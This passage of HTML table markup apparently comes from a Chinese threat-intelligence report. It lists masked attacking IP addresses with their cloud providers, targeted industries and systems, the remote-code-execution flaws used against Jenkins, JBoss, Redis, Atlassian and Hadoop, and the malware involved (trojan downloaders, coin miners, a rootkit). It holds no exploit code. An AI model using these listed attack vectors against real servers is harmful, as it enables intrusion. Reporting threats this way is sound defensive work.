.5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">公共事业</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">单位官网</span><span lang=\"EN-US\" style=\"font-size:\n 11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">HTTP<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Jenkins Plugin Stapler RCE<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Jenkins Console Script RCE<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">JBoss HttpInvoker RCE<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/TrojanDownloader<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">PowerShell/TrojanDownloader<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">117.78. *.*<o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">华为云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">工业制造</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">客服平台</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Redis<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Redis RCE<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/CoinMiner<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/TrojanDownloader<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">52.131. *.*<o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">上海市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">微软</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Azure<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">交通运输</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">船舶管理系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Redis<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Redis RCE<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/CoinMiner<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/TrojanDownloader<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Win64/CoinMiner<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/Rootkit<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">119.23. *.*<o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">广东省</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">媒体</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">后台管理系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">HTTP<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Atlassian Connector preview\n RCE<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Hadoop ResourceManager apps\n RCE<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Linux/TrojanDownloader<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;mso-yfti-lastrow:yes;height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;border-top:none;mso-border-top-alt:solid 